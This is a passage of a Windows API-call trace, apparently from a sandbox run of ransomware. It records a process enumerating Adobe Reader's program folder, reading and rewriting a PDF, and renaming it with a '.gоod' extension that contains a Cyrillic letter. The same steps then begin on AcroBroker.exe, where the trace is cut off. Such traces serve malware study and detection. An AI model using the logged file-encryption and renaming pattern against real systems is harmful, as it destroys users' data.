FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38a84970, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xba2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x168ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb1353b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x184a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x386f10de, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0069.646] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebResources", cAlternateFileName="WEBRES~1")) returned 1 [0069.646] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1 [0069.646] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0069.646] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0 [0069.646] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb80) returned 1 [0069.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb40) returned 1 [0069.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", lpFilePart=0x0) returned 0x63 [0069.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0069.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), fInfoLevelId=0x0, lpFileInformation=0x35b98b8 | out: lpFileInformation=0x35b98b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5)) returned 1 [0069.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0069.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", lpFilePart=0x0) returned 0x63 [0069.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0069.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0069.648] GetFileType (hFile=0x760) returned 0x1 [0069.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0069.648] GetFileType (hFile=0x760) returned 0x1 [0069.648] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0069.648] ReadFile (in: hFile=0x760, lpBuffer=0x35b9dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x35b9dc0*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0069.649] CloseHandle (hObject=0x760) returned 1 [0069.649] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", lpFilePart=0x0) returned 0x63 [0069.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0069.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0069.650] GetFileType (hFile=0x760) returned 0x1 [0069.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0069.650] GetFileType (hFile=0x760) returned 0x1 [0069.650] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x2d9d5 [0069.650] WriteFile (in: hFile=0x760, lpBuffer=0x35bb0d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x35bb0d0*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0069.651] CloseHandle (hObject=0x760) returned 1 [0069.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", lpFilePart=0x0) returned 0x63 [0069.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0069.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0069.659] GetFileType (hFile=0x760) returned 0x1 [0069.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0069.659] GetFileType (hFile=0x760) returned 0x1 [0069.659] ReadFile (in: hFile=0x760, lpBuffer=0x35c03b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x35c03b8*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0069.976] CloseHandle (hObject=0x760) returned 1 [0069.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", lpFilePart=0x0) returned 0x63 [0069.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0069.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0069.976] GetFileType (hFile=0x760) returned 0x1 [0069.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0069.976] GetFileType (hFile=0x760) returned 0x1 [0069.976] WriteFile (in: hFile=0x760, lpBuffer=0x30bf720*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x30bf720*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0070.025] CloseHandle (hObject=0x760) returned 1 [0070.029] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", lpFilePart=0x0) returned 0x63 [0070.029] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.gоod", lpFilePart=0x0) returned 0x68 [0070.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0070.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x25f47a72, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e5)) returned 1 [0070.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0070.029] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf.gоod")) returned 1 [0070.030] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", lpFilePart=0x0) returned 0x44 [0070.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0070.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x31e9898 | out: lpFileInformation=0x31e9898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0)) returned 1 [0070.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0070.030] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", lpFilePart=0x0) returned 0x44 [0070.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0070.030] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.030] GetFileType (hFile=0x760) returned 0x1 [0070.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0070.030] GetFileType (hFile=0x760) returned 0x1 [0070.031] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0070.031] ReadFile (in: hFile=0x760, lpBuffer=0x31e9cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x31e9cb0*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0070.239] CloseHandle (hObject=0x760) returned 1 [0070.243] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", lpFilePart=0x0) returned 0x44 [0070.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0070.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 